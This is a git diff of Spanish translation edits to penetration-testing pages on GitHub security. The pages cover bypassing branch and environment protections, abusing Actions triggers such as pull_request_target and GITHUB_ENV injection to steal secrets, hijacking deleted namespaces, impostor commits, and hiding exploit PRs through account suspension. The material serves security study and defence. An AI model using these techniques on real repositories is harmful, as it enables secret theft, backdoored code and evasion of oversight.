en caso de que sea útil. ### Con Clave SSH de Usuario @@ -144,7 +144,7 @@ gpg --list-secret-keys --keyid-format=long Para una introducción sobre [**Tokens de Usuario consulta la información básica**](basic-github-information.md#personal-access-tokens). -Un token de usuario puede ser utilizado **en lugar de una contraseña** para Git a través de HTTPS, o puede ser utilizado para [**autenticarse en la API a través de la Autenticación Básica**](https://docs.github.com/v3/auth/#basic-authentication). Dependiendo de los privilegios adjuntos a él, podrías ser capaz de realizar diferentes acciones. +Un token de usuario puede ser utilizado **en lugar de una contraseña** para Git sobre HTTPS, o puede ser utilizado para [**autenticarse en la API a través de la Autenticación Básica**](https://docs.github.com/v3/auth/#basic-authentication). Dependiendo de los privilegios asociados, podrías realizar diferentes acciones. Un token de usuario se ve así: `ghp_EfHnQFcFHX6fGIu5mpduvRiYR584kK0dX123` @@ -152,19 +152,19 @@ Un token de usuario se ve así: `ghp_EfHnQFcFHX6fGIu5mpduvRiYR584kK0dX123` Para una introducción sobre [**Aplicaciones Oauth de Github consulta la información básica**](basic-github-information.md#oauth-applications). -Un atacante podría crear una **Aplicación Oauth maliciosa** para acceder a datos/acciones privilegiadas de los usuarios que las aceptan probablemente como parte de una campaña de phishing. +Un atacante podría crear una **Aplicación Oauth maliciosa** para acceder a datos/acciones privilegiadas de los usuarios que las aceptan, probablemente como parte de una campaña de phishing. Estos son los [alcances que una aplicación Oauth puede solicitar](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps). Siempre se debe verificar los alcances solicitados antes de aceptarlos. -Además, como se explicó en la información básica, **las organizaciones pueden dar/denegar acceso a aplicaciones de terceros** a información/repos/acciones relacionadas con la organización. +Además, como se explica en la información básica, **las organizaciones pueden otorgar/denegar acceso a aplicaciones de terceros** a información/repos/acciones relacionadas con la organización. ### Con Aplicación de Github Para una introducción sobre [**Aplicaciones de Github consulta la información básica**](basic-github-information.md#github-applications). -Un atacante podría crear una **Aplicación de Github maliciosa** para acceder a datos/acciones privilegiadas de los usuarios que las aceptan probablemente como parte de una campaña de phishing. +Un atacante podría crear una **Aplicación de Github maliciosa** para acceder a datos/acciones privilegiadas de los usuarios que las aceptan, probablemente como parte de una campaña de phishing. -Además, como se explicó en la información básica, **las organizaciones pueden dar/denegar acceso a aplicaciones de terceros** a información/repos/acciones relacionadas con la organización. +Además, como se explica en la información básica, **las organizaciones pueden otorgar/denegar acceso a aplicaciones de terceros** a información/repos/acciones relacionadas con la organización. ## Compromiso y Abuso de Github Action @@ -176,7 +176,7 @@ abusing-github-actions/ ## Bypass de Protección de Ramas -- **Requerir un número de aprobaciones**: Si has comprometido varias cuentas, podrías simplemente aceptar tus PRs desde otras cuentas. Si solo tienes la cuenta desde donde creaste el PR, no puedes aceptar tu propio PR. Sin embargo, si tienes acceso a un **entorno de Github Action** dentro del repositorio, usando el **GITHUB_TOKEN** podrías ser capaz de **aprobar tu PR** y obtener 1 aprobación de esta manera. +- **Requerir un número de aprobaciones**: Si has comprometido varias cuentas, podrías aceptar tus PRs desde otras cuentas. Si solo tienes la cuenta desde donde creaste el PR, no puedes aceptar tu propio PR. Sin embargo, si tienes acceso a un entorno de **Github Action** dentro del repositorio, usando el **GITHUB_TOKEN** podrías **aprobar tu PR** y obtener 1 aprobación de esta manera. - _Nota para esto y para la restricción de Propietarios de Código que generalmente un usuario no podrá aprobar sus propios PRs, pero si puedes, puedes abusar de ello para aceptar tus PRs._ - **Desestimar aprobaciones cuando se envían nuevos commits**: Si esto no está configurado, puedes enviar código legítimo, esperar a que alguien lo apruebe, y luego poner código malicioso y fusionarlo en la rama protegida. - **Requerir revisiones de Propietarios de Código**: Si esto está activado y eres un Propietario de Código, podrías hacer que un **Github Action cree tu PR y luego lo apruebes tú mismo**. @@ -184,17 +184,17 @@ abusing-github-actions/ - **Permitir que actores especificados eviten los requisitos de solicitud de extracción**: Si eres uno de estos actores, puedes eludir las protecciones de solicitud de extracción. - **Incluir administradores**: Si esto no está configurado y eres administrador del repositorio, puedes eludir estas protecciones de rama. - **Secuestro de PR**: Podrías ser capaz de **modificar el PR de otra persona** añadiendo código malicioso, aprobando el PR resultante tú mismo y fusionando todo. -- **Eliminar Protecciones de Ramas**: Si eres un **administrador del repositorio, puedes desactivar las protecciones**, fusionar tu PR y volver a establecer las protecciones. +- **Eliminar Protecciones de Ramas**: Si eres un **administrador del repositorio, puedes desactivar las protecciones**, fusionar tu PR y restablecer las protecciones. - **Eludir protecciones de push**: Si un repositorio **solo permite ciertos usuarios** enviar push (fusionar código) en ramas (la protección de rama podría estar protegiendo todas las ramas especificando el comodín `*`). -- Si tienes **acceso de escritura sobre el repositorio pero no se te permite enviar código** debido a la protección de rama, aún puedes **crear una nueva rama** y dentro de ella crear un **github action que se activa cuando se envía código**. Como la **protección de rama no protegerá la rama hasta que se cree**, este primer push de código a la rama **ejecutará el github action**. +- Si tienes **acceso de escritura sobre el repositorio pero no se te permite enviar código** debido a la protección de rama, aún puedes **crear una nueva rama** y dentro de ella crear un **github action que se activa cuando se envía código**. Como la **protección de rama no protegerá la rama hasta que se cree**, este primer envío de código a la rama **ejecutará el github action**. -## Bypass de Protecciones de Entornos +## Eludir Protecciones de Entornos Para una introducción sobre [**Entorno de Github consulta la información básica**](basic-github-information.md#git-environments). En caso de que un entorno pueda ser **accedido desde todas las ramas**, **no está protegido** y puedes acceder fácilmente a los secretos dentro del entorno. Ten en cuenta que podrías encontrar repos donde **todas las ramas están protegidas** (especificando sus nombres o usando `*`), en ese escenario, **encuentra una rama donde puedas enviar código** y puedes **exfiltrar** los secretos creando un nuevo github action (o modificando uno). -Ten en cuenta que podrías encontrar el caso extremo donde **todas las ramas están protegidas** (a través del comodín `*`) se especifica **quién puede enviar código a las ramas** (_puedes especificar eso en la protección de rama_) y **tu usuario no está permitido**. Aún puedes ejecutar un github action personalizado porque puedes crear una rama y usar el trigger de push sobre sí misma. La **protección de rama permite el push a una nueva rama, por lo que el github action será activado**. +Ten en cuenta que podrías encontrar el caso extremo donde **todas las ramas están protegidas** (a través del comodín `*`) se especifica **quién puede enviar código a las ramas** (_puedes especificar eso en la protección de rama_) y **tu usuario no está permitido**. Aún puedes ejecutar un github action personalizado porque puedes crear una rama y usar el disparador de push sobre sí misma. La **protección de rama permite el push a una nueva rama, por lo que el github action será activado**. ```yaml push: # Run it when a push is made to a branch branches: @@ -212,11 +212,11 @@ Nota que **después de la creación** de la rama, la **protección de la rama se - Invitar a **colaboradores externos** - **Eliminar** **webhooks** utilizados por el **SIEM** - Crear/modificar **Github Action** con una **puerta trasera** -- Encontrar **Github Action vulnerable a inyección de comandos** mediante la modificación del valor de **secreto** +- Encontrar **Github Action vulnerable a inyección de comandos** a través de la modificación del valor de **secreto** ### Commits de impostor - Puerta trasera a través de commits de repositorio -En Github es posible **crear un PR a un repositorio desde un fork**. Incluso si el PR **no es aceptado**, se va a crear un **commit** id dentro del repositorio original para la versión fork del código. Por lo tanto, un atacante **podría fijar el uso de un commit específico de un repositorio aparentemente legítimo que no fue creado por el propietario del repositorio**. +En Github es posible **crear un PR a un repositorio desde un fork**. Incluso si el PR **no es aceptado**, se va a crear un id de **commit** dentro del repositorio original para la versión fork del código. Por lo tanto, un atacante **podría fijar el uso de un commit específico de un repositorio aparentemente legítimo que no fue creado por el propietario del repositorio**. Como [**este**](https://github.com/actions/checkout/commit/c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e): ```yaml diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md index 55abfd232..c8c4f2f52 100644 --- a/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md +++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md @@ -1,20 +1,20 @@ -# Abusing Github Actions +# Abusando de Github Actions {{#include ../../../banners/hacktricks-training.md}} -## Basic Information +## Información Básica En esta página encontrarás: - Un **resumen de todos los impactos** de un atacante que logra acceder a una Github Action -- Diferentes formas de **obtener acceso a una acción**: +- Diferentes formas de **acceder a una acción**: - Tener **permisos** para crear la acción - Abusar de los **triggers** relacionados con **pull requests** - Abusar de **otras técnicas de acceso externo** - **Pivotar** desde un repositorio ya comprometido -- Finalmente, una sección sobre **técnicas de post-explotación para abusar de una acción desde adentro** (causar los impactos mencionados) +- Finalmente, una sección sobre **técnicas de post-explotación para abusar de una acción desde adentro** (causando los impactos mencionados) -## Impacts Summary +## Resumen de Impactos Para una introducción sobre [**Github Actions consulta la información básica**](../basic-github-information.md#github-actions). @@ -81,7 +81,7 @@ https://api.github.com/repos///pulls \ {{#endtabs }} > [!CAUTION] -> Tenga en cuenta que en varias ocasiones podrá encontrar **tokens de usuario de github dentro de los entornos de Github Actions o en los secretos**. Estos tokens pueden otorgarle más privilegios sobre el repositorio y la organización. +> Ten en cuenta que en varias ocasiones podrás encontrar **tokens de usuario de github dentro de los entornos de Github Actions o en los secretos**. Estos tokens pueden darte más privilegios sobre el repositorio y la organización.
@@ -147,13 +147,13 @@ Es posible verificar los permisos otorgados a un Github Token en los repositorio ### Ejecución desde la Creación de un Repositorio -En caso de que los miembros de una organización puedan **crear nuevos repositorios** y tú puedas ejecutar acciones de github, puedes **crear un nuevo repositorio y robar los secretos establecidos a nivel de organización**. +En caso de que los miembros de una organización puedan **crear nuevos repos**, y tú puedas ejecutar acciones de github, puedes **crear un nuevo repositorio y robar los secretos establecidos a nivel de organización**. ### Ejecución desde una Nueva Rama Si puedes **crear una nueva rama en un repositorio que ya contiene una Acción de Github** configurada, puedes **modificarla**, **subir** el contenido y luego **ejecutar esa acción desde la nueva rama**. De esta manera, puedes **exfiltrar secretos a nivel de repositorio y organización** (pero necesitas saber cómo se llaman). -Puedes hacer que la acción modificada sea ejecutable **manualmente**, cuando se **crea un PR** o cuando **se sube algún código** (dependiendo de cuán ruidoso quieras ser): +Puedes hacer que la acción modificada sea ejecutable **manualmente,** cuando se **crea un PR** o cuando **se sube algún código** (dependiendo de cuán ruidoso quieras ser): ```yaml on: workflow_dispatch: # Launch manually @@ -174,16 +174,16 @@ branches: ### `pull_request` -El desencadenador del flujo de trabajo **`pull_request`** ejecutará el flujo de trabajo cada vez que se reciba una solicitud de extracción con algunas excepciones: por defecto, si es la **primera vez** que estás **colaborando**, algún **mantenedor** necesitará **aprobar** la **ejecución** del flujo de trabajo: +El desencadenador de flujo de trabajo **`pull_request`** ejecutará el flujo de trabajo cada vez que se reciba una solicitud de extracción con algunas excepciones: por defecto, si es la **primera vez** que estás **colaborando**, algún **mantenedor** necesitará **aprobar** la **ejecución** del flujo de trabajo:
> [!NOTE] -> Dado que la **limitación predeterminada** es para **contribuyentes primerizos**, podrías contribuir **corrigiendo un error/tipografía válido** y luego enviar **otras PRs para abusar de tus nuevos privilegios de `pull_request`**. +> Como la **limitación predeterminada** es para **contribuyentes primerizos**, podrías contribuir **corrigiendo un error/tipografía válido** y luego enviar **otras PRs para abusar de tus nuevos privilegios de `pull_request`**. > > **Probé esto y no funciona**: ~~Otra opción sería crear una cuenta con el nombre de alguien que contribuyó al proyecto y eliminó su cuenta.~~ -Además, por defecto **previene permisos de escritura** y **acceso a secretos** en el repositorio objetivo como se menciona en la [**documentación**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories): +Además, por defecto **previene permisos de escritura** y **acceso a secretos** en el repositorio objetivo, como se menciona en la [**documentación**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories): > Con la excepción de `GITHUB_TOKEN`, **los secretos no se pasan al runner** cuando un flujo de trabajo es desencadenado desde un repositorio **forked**. El **`GITHUB_TOKEN` tiene permisos de solo lectura** en solicitudes de extracción **de repositorios forked**. @@ -196,12 +196,12 @@ Como el atacante también controla el código que se ejecuta, incluso si no hay ### **`pull_request_target`** -El desencadenador del flujo de trabajo **`pull_request_target`** tiene **permiso de escritura** en el repositorio objetivo y **acceso a secretos** (y no pide permiso). +El desencadenador de flujo de trabajo **`pull_request_target`** tiene **permiso de escritura** en el repositorio objetivo y **acceso a secretos** (y no pide permiso). -Ten en cuenta que el desencadenador del flujo de trabajo **`pull_request_target`** **se ejecuta en el contexto base** y no en el proporcionado por la PR (para **no ejecutar código no confiable**). Para más información sobre `pull_request_target`, [**consulta la documentación**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\ +Ten en cuenta que el desencadenador de flujo de trabajo **`pull_request_target`** **se ejecuta en el contexto base** y no en el proporcionado por la PR (para **no ejecutar código no confiable**). Para más información sobre `pull_request_target`, [**consulta la documentación**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\ Además, para más información sobre este uso específico y peligroso, consulta este [**post del blog de github**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/). -Puede parecer que como el **flujo de trabajo ejecutado** es el definido en la **base** y **no en la PR**, es **seguro** usar **`pull_request_target`**, pero hay **algunos casos en los que no lo es**. +Puede parecer que, dado que el **flujo de trabajo ejecutado** es el definido en la **base** y **no en la PR**, es **seguro** usar **`pull_request_target`**, pero hay **algunos casos en los que no lo es**. Y este tendrá **acceso a secretos**. @@ -241,7 +241,7 @@ En el caso de un flujo de trabajo que utiliza **`pull_request_target` o `workflo > [!CAUTION] > Sin embargo, si la **acción** tiene un **checkout de PR explícito** que **obtendrá el código del PR** (y no de la base), utilizará el código controlado por el atacante. Por ejemplo (ver línea 12 donde se descarga el código del PR): -
# INSEGURO. Proporcionado solo como un ejemplo.
+
# INSECURE. Proporcionado solo como un ejemplo.
 on:
 pull_request_target
 
@@ -269,10 +269,10 @@ message: |
 ¡Gracias!
 
-El código potencialmente **no confiable se está ejecutando durante `npm install` o `npm build`** ya que los scripts de construcción y los **paquetes referenciados son controlados por el autor del PR**. +El código **no confiable potencialmente se está ejecutando durante `npm install` o `npm build`** ya que los scripts de construcción y los **paquetes referenciados son controlados por el autor del PR**. > [!WARNING] -> Un dork de github para buscar acciones vulnerables es: `event.pull_request pull_request_target extension:yml` sin embargo, hay diferentes formas de configurar los trabajos para que se ejecuten de manera segura incluso si la acción está configurada de manera insegura (como usar condicionales sobre quién es el actor que genera el PR). +> Un dork de github para buscar acciones vulnerables es: `event.pull_request pull_request_target extension:yml`, sin embargo, hay diferentes formas de configurar los trabajos para que se ejecuten de manera segura incluso si la acción está configurada de manera insegura (como usar condicionales sobre quién es el actor que genera el PR). ### Inyecciones de Script en Contexto @@ -284,7 +284,7 @@ gh-actions-context-script-injections.md ### **Inyección de Script GITHUB_ENV** -De la documentación: Puede hacer que una **variable de entorno esté disponible para cualquier paso posterior** en un trabajo de flujo de trabajo definiendo o actualizando la variable de entorno y escribiendo esto en el archivo de entorno **`GITHUB_ENV`**. +Según la documentación: Puede hacer que una **variable de entorno esté disponible para cualquier paso posterior** en un trabajo de flujo de trabajo definiendo o actualizando la variable de entorno y escribiendo esto en el archivo de entorno **`GITHUB_ENV`**. Si un atacante pudiera **inyectar cualquier valor** dentro de esta variable **env**, podría inyectar variables de entorno que podrían ejecutar código en pasos posteriores como **LD_PRELOAD** o **NODE_OPTIONS**. @@ -344,12 +344,12 @@ path: ./script.py ### Secuestro de Repositorio de Namespace Eliminado -Si una cuenta cambia su nombre, otro usuario podría registrar una cuenta con ese nombre después de un tiempo. Si un repositorio tenía **menos de 100 estrellas antes del cambio de nombre**, Github permitirá que el nuevo usuario registrado con el mismo nombre cree un **repositorio con el mismo nombre** que el que fue eliminado. +Si una cuenta cambia su nombre, otro usuario podría registrar una cuenta con ese nombre después de un tiempo. Si un repositorio tenía **menos de 100 estrellas antes del cambio de nombre**, Github permitirá que el nuevo usuario registrado con el mismo nombre cree un **repositorio con el mismo nombre** que el eliminado. > [!CAUTION] -> Así que si una acción está utilizando un repositorio de una cuenta que no existe, aún es posible que un atacante pueda crear esa cuenta y comprometer la acción. +> Así que si una acción está utilizando un repositorio de una cuenta no existente, aún es posible que un atacante pueda crear esa cuenta y comprometer la acción. -Si otros repositorios estaban utilizando **dependencias de estos repositorios de usuario**, un atacante podrá secuestrarlos. Aquí tienes una explicación más completa: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/) +Si otros repositorios estaban utilizando **dependencias de los repositorios de este usuario**, un atacante podrá secuestrarlos. Aquí tienes una explicación más completa: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/) --- @@ -480,7 +480,7 @@ Consulta [**esta publicación para más información**](https://karimrahal.com/2 ### Registro de Imágenes Docker de Github Es posible crear acciones de Github que **construyan y almacenen una imagen Docker dentro de Github**.\ -Un ejemplo se puede encontrar en el siguiente desplegable: +Un ejemplo se puede encontrar en el siguiente expandible:
@@ -534,9 +534,9 @@ Incluso si **Github** intenta **detectar valores secretos** en los registros de ## Cubriendo tus Huellas -(Técnica de [**aquí**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Primero que nada, cualquier PR levantada es claramente visible al público en Github y a la cuenta de GitHub objetivo. En GitHub, por defecto, **no podemos eliminar un PR de internet**, pero hay un giro. Para las cuentas de Github que están **suspendidas** por Github, todos sus **PRs son automáticamente eliminados** y retirados de internet. Así que, para ocultar tu actividad, necesitas o bien hacer que tu **cuenta de GitHub sea suspendida o que tu cuenta sea marcada**. Esto **ocultará todas tus actividades** en GitHub de internet (básicamente eliminará todos tus PR de explotación). +(Técnica de [**aquí**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Primero que nada, cualquier PR levantada es claramente visible al público en Github y a la cuenta de GitHub objetivo. En GitHub, por defecto, **no podemos eliminar un PR de internet**, pero hay un giro. Para las cuentas de Github que están **suspendidas** por Github, todos sus **PRs son eliminados automáticamente** y removidos de internet. Así que, para ocultar tu actividad, necesitas o bien hacer que tu **cuenta de GitHub sea suspendida o que tu cuenta sea marcada**. Esto **ocultará todas tus actividades** en GitHub de internet (básicamente eliminará todos tus PR de explotación). -Una organización en GitHub es muy proactiva en reportar cuentas a GitHub. Todo lo que necesitas hacer es compartir "algunas cosas" en un Issue y se asegurarán de que tu cuenta sea suspendida en 12 horas :p y ahí lo tienes, has hecho tu explotación invisible en github. +Una organización en GitHub es muy proactiva en reportar cuentas a GitHub. Todo lo que necesitas hacer es compartir “algunas cosas” en un Issue y se asegurarán de que tu cuenta sea suspendida en 12 horas :p y ahí lo tienes, has hecho tu explotación invisible en github. > [!WARNING] > La única forma en que una organización puede darse cuenta de que ha sido objetivo es revisar los registros de GitHub desde SIEM, ya que desde la interfaz de GitHub el PR sería eliminado. diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-cache-poisoning.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-cache-poisoning.md index f77c0d2d3..59af6dbb2 100644 --- a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-cache-poisoning.md +++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-cache-poisoning.md @@ -1 +1 @@ -# GH Actions - Cache Poisoning +# GH Actions - Envenenamiento de Caché diff --git a/src/pentesting-ci-cd/github-security/basic-github-information.md b/src/pentesting-ci-cd/github-security/basic-github-information.md index 128cdda88..62821f1ed 100644 --- a/src/pentesting-ci-cd/github-security/basic-github-information.md +++ b/src/pentesting-ci-cd/github-security/basic-github-information.md @@ -16,17 +16,17 @@ Y finalmente, **los repositorios pueden tener mecanismos de protección especial ### Roles de Empresa -- **Propietario de la empresa**: Las personas con este rol pueden **gestionar administradores, gestionar organizaciones dentro de la empresa, gestionar configuraciones de la empresa, hacer cumplir políticas en las organizaciones**. Sin embargo, **no pueden acceder a la configuración o contenido de la organización** a menos que se les designe como propietario de la organización o se les otorgue acceso directo a un repositorio de la organización. -- **Miembros de la empresa**: Los miembros de las organizaciones propiedad de tu empresa también son **automáticamente miembros de la empresa**. +- **Propietario de la empresa**: Las personas con este rol pueden **gestionar administradores, gestionar organizaciones dentro de la empresa, gestionar configuraciones de la empresa, hacer cumplir políticas a través de organizaciones**. Sin embargo, **no pueden acceder a la configuración o contenido de la organización** a menos que se les asigne como propietario de la organización o se les dé acceso directo a un repositorio de la organización. +- **Miembros de la empresa**: Los miembros de organizaciones propiedad de tu empresa también son **miembros automáticos de la empresa**. ### Roles de Organización En una organización, los usuarios pueden tener diferentes roles: - **Propietarios de la organización**: Los propietarios de la organización tienen **acceso administrativo completo a tu organización**. Este rol debe ser limitado, pero no a menos de dos personas, en tu organización. -- **Miembros de la organización**: El rol **predeterminado**, no administrativo para **las personas en una organización** es el miembro de la organización. Por defecto, los miembros de la organización **tienen una serie de permisos**. +- **Miembros de la organización**: El rol **predeterminado**, no administrativo para **personas en una organización** es el miembro de la organización. Por defecto, los miembros de la organización **tienen una serie de permisos**. - **Gerentes de facturación**: Los gerentes de facturación son usuarios que pueden **gestionar la configuración de facturación de tu organización**, como la información de pago. -- **Gerentes de Seguridad**: Es un rol que los propietarios de la organización pueden asignar a cualquier equipo en una organización. Cuando se aplica, otorga a cada miembro del equipo permisos para **gestionar alertas de seguridad y configuraciones en toda tu organización, así como permisos de lectura para todos los repositorios** en la organización. +- **Gerentes de Seguridad**: Es un rol que los propietarios de la organización pueden asignar a cualquier equipo en una organización. Cuando se aplica, otorga a cada miembro del equipo permisos para **gestionar alertas y configuraciones de seguridad en tu organización, así como permisos de lectura para todos los repositorios** en la organización. - Si tu organización tiene un equipo de seguridad, puedes usar el rol de gerente de seguridad para dar a los miembros del equipo el acceso mínimo que necesitan a la organización. - **Gerentes de Aplicaciones de Github**: Para permitir que usuarios adicionales **gestione las Aplicaciones de GitHub propiedad de una organización**, un propietario puede otorgarles permisos de gerente de Aplicaciones de GitHub. - **Colaboradores externos**: Un colaborador externo es una persona que tiene **acceso a uno o más repositorios de la organización pero no es explícitamente un miembro** de la organización. @@ -37,7 +37,7 @@ Puedes **comparar los permisos** de estos roles en esta tabla: [https://docs.git En _https://github.com/organizations/\/settings/member_privileges_ puedes ver los **permisos que los usuarios tendrán solo por ser parte de la organización**. -La configuración aquí configurada indicará los siguientes permisos de los miembros de la organización: +La configuración aquí indicada indicará los siguientes permisos de los miembros de la organización: - Ser administrador, escritor, lector o sin permiso sobre todos los repositorios de la organización. - Si los miembros pueden crear repositorios privados, internos o públicos. @@ -63,7 +63,7 @@ También puedes **crear tus propios roles** en _https://github.com/organizations ### Equipos -Puedes **listar los equipos creados en una organización** en _https://github.com/orgs/\/teams_. Ten en cuenta que para ver los equipos que son hijos de otros equipos necesitas acceder a cada equipo padre. +Puedes **listar los equipos creados en una organización** en _https://github.com/orgs/\/teams_. Ten en cuenta que para ver los equipos que son hijos de otros equipos, necesitas acceder a cada equipo padre. ### Usuarios @@ -97,7 +97,7 @@ Las aplicaciones Oauth pueden pedirte permisos **para acceder a parte de tu info - Puedes **crear** tus propias **aplicaciones Oauth** en [https://github.com/settings/developers](https://github.com/settings/developers) - Puedes ver todas las **aplicaciones Oauth que tienen acceso a tu cuenta** en [https://github.com/settings/applications](https://github.com/settings/applications) -- Puedes ver los **alcances que las Aplicaciones Oauth pueden solicitar** en [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps) +- Puedes ver los **alcances que las Apps Oauth pueden solicitar** en [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps) - Puedes ver el acceso de terceros de aplicaciones en una **organización** en _https://github.com/organizations/\/settings/oauth_application_policy_ Algunas **recomendaciones de seguridad**: @@ -116,18 +116,18 @@ Las aplicaciones de Github pueden pedir permisos para **acceder a tu informació - La Aplicación de GitHub debe **conectarse a una cuenta personal o a una organización**. - Puedes crear tu propia aplicación de Github en [https://github.com/settings/apps](https://github.com/settings/apps) - Puedes ver todas las **aplicaciones de Github que tienen acceso a tu cuenta** en [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations) -- Estos son los **Puntos de API para Aplicaciones de Github** [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). Dependiendo de los permisos de la Aplicación, podrá acceder a algunos de ellos. -- Puedes ver las aplicaciones instaladas en una **organización** en _https://github.com/organizations/\/settings/installations_ +- Estos son los **Puntos de Acceso API para Aplicaciones de Github** [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). Dependiendo de los permisos de la Aplicación, podrá acceder a algunos de ellos. +- Puedes ver aplicaciones instaladas en una **organización** en _https://github.com/organizations/\/settings/installations_ Algunas recomendaciones de seguridad: -- Una Aplicación de GitHub debe **realizar acciones de manera independiente de un usuario** (a menos que la aplicación esté utilizando un token [de usuario a servidor](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests)). Para mantener los tokens de acceso de usuario a servidor más seguros, puedes usar tokens de acceso que expiren después de 8 horas, y un token de actualización que se puede intercambiar por un nuevo token de acceso. Para más información, consulta "[Actualizando tokens de acceso de usuario a servidor](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)." +- Una Aplicación de GitHub debe **realizar acciones de forma independiente de un usuario** (a menos que la aplicación esté utilizando un token [de usuario a servidor](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests)). Para mantener los tokens de acceso de usuario a servidor más seguros, puedes usar tokens de acceso que expiren después de 8 horas, y un token de actualización que se puede intercambiar por un nuevo token de acceso. Para más información, consulta "[Actualizando tokens de acceso de usuario a servidor](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)." - Asegúrate de que la Aplicación de GitHub se integre con **repositorios específicos**. - La Aplicación de GitHub debe **conectarse a una cuenta personal o a una organización**. - No esperes que la Aplicación de GitHub sepa y haga todo lo que un usuario puede. - **No uses una Aplicación de GitHub si solo necesitas un servicio de "Inicio de sesión con GitHub"**. Pero una Aplicación de GitHub puede usar un [flujo de identificación de usuario](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) para iniciar sesión a los usuarios _y_ hacer otras cosas. - No construyas una Aplicación de GitHub si _solo_ deseas actuar como un usuario de GitHub y hacer todo lo que ese usuario puede hacer. -- Si estás utilizando tu aplicación con GitHub Actions y deseas modificar archivos de flujo de trabajo, debes autenticarte en nombre del usuario con un token OAuth que incluya el alcance `workflow`. El usuario debe tener permisos de administrador o escritura en el repositorio que contiene el archivo de flujo de trabajo. Para más información, consulta "[Entendiendo los alcances para aplicaciones OAuth](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)." +- Si estás usando tu aplicación con GitHub Actions y deseas modificar archivos de flujo de trabajo, debes autenticarte en nombre del usuario con un token OAuth que incluya el alcance `workflow`. El usuario debe tener permisos de administrador o escritura en el repositorio que contiene el archivo de flujo de trabajo. Para más información, consulta "[Entendiendo los alcances para aplicaciones OAuth](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)." - **Más** en [aquí](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps). ### Github Actions @@ -172,7 +172,7 @@ example-command "$SUPER_SECRET" > Una vez configurados en el repositorio o en las organizaciones, **los usuarios de github no podrán acceder a ellos nuevamente**, solo podrán **cambiarlos**. -Por lo tanto, la **única forma de robar secretos de github es poder acceder a la máquina que está ejecutando la Github Action** (en ese escenario solo podrás acceder a los secretos declarados para la Action). +Por lo tanto, **la única forma de robar secretos de github es poder acceder a la máquina que está ejecutando la Github Action** (en ese escenario solo podrás acceder a los secretos declarados para la Action). ### Entornos de Git @@ -183,62 +183,62 @@ deployment: runs-on: ubuntu-latest environment: env_name ``` -You can configure an environment to be **accedido** by **todas las ramas** (default), **solo ramas protegidas** or **especificar** which branches can access it.\ -It can also set a **número de revisiones requeridas** before **ejecutar** an **acción** using an **entorno** or **esperar** some **tiempo** before allowing deployments to proceed. +Puedes configurar un entorno para ser **accedido** por **todas las ramas** (por defecto), **solo ramas protegidas** o **especificar** qué ramas pueden acceder a él.\ +También se puede establecer un **número de revisiones requeridas** antes de **ejecutar** una **acción** utilizando un **entorno** o **esperar** un **tiempo** antes de permitir que las implementaciones continúen. ### Git Action Runner -A Github Action can be **ejecutado dentro del entorno de github** or can be executed in a **infraestructura de terceros** configured by the user. +Una acción de Github puede ser **ejecutada dentro del entorno de github** o puede ser ejecutada en una **infraestructura de terceros** configurada por el usuario. -Several organizations will allow to run Github Actions in a **infraestructura de terceros** as it use to be **más barato**. +Varias organizaciones permitirán ejecutar acciones de Github en una **infraestructura de terceros** ya que suele ser **más barato**. -You can **listar los runners autoalojados** of an organization in _https://github.com/organizations/\/settings/actions/runners_ +Puedes **listar los runners autoalojados** de una organización en _https://github.com/organizations/\/settings/actions/runners_ -The way to find which **Github Actions are being executed in infraestructura no github** is to search for `runs-on: self-hosted` in the Github Action configuration yaml. +La forma de encontrar qué **Github Actions se están ejecutando en infraestructura no github** es buscar `runs-on: self-hosted` en la configuración yaml de la acción de Github. -It's **no posible ejecutar una Github Action de una organización dentro de una caja autoalojada** of a different organization because **se genera un token único para el Runner** when configuring it to know where the runner belongs. +**No es posible ejecutar una acción de Github de una organización dentro de una caja autoalojada** de una organización diferente porque **se genera un token único para el Runner** al configurarlo para saber a qué runner pertenece. -If the custom **Github Runner is configured in una máquina dentro de AWS o GCP** for example, 